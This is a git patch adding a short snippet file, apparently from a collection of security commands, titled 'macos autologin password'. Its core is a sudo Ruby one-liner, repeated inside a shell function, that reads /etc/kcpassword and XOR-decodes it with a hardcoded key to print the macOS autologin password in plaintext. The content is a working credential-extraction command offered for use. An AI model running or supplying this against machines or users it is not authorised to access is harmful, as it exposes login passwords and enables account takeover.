From 9617ca6fbe929759893ce59b1238c426c6efada9 Mon Sep 17 00:00:00 2001 From: FrozenFOXX Date: Thu, 16 May 2019 11:55:49 -0700 Subject: [PATCH] Create macos_autologin_password.sh --- credentials/macos_autologin_password.sh | 9 +++++++++ 1 file changed, 9 insertions(+) create mode 100644 credentials/macos_autologin_password.sh diff --git a/credentials/macos_autologin_password.sh b/credentials/macos_autologin_password.sh new file mode 100644 index 0000000..e7d3f6a --- /dev/null +++ b/credentials/macos_autologin_password.sh @@ -0,0 +1,9 @@ +title: macos autologin password +description: Use ruby to retrieve the MacOS autologin password. +command: sudo ruby -e 'key = [125, 137, 82, 35, 210, 188, 221, 234, 163, 185, 31]; IO.read("/etc/kcpassword").bytes.each_with_index { |b, i| break if key.include?(b); print [b ^ key[i % key.size]].pack("U*") }' +function: | + function macos_autologin_password() { + sudo $(which ruby) -e 'key = [125, 137, 82, 35, 210, 188, 221, 234, 163, 185, 31]; IO.read("/etc/kcpassword").bytes.each_with_index { |b, i| break if key.include?(b); print [b ^ key[i % key.size]].pack("U*") }' + } +params: +tags: [credential, hash, macos]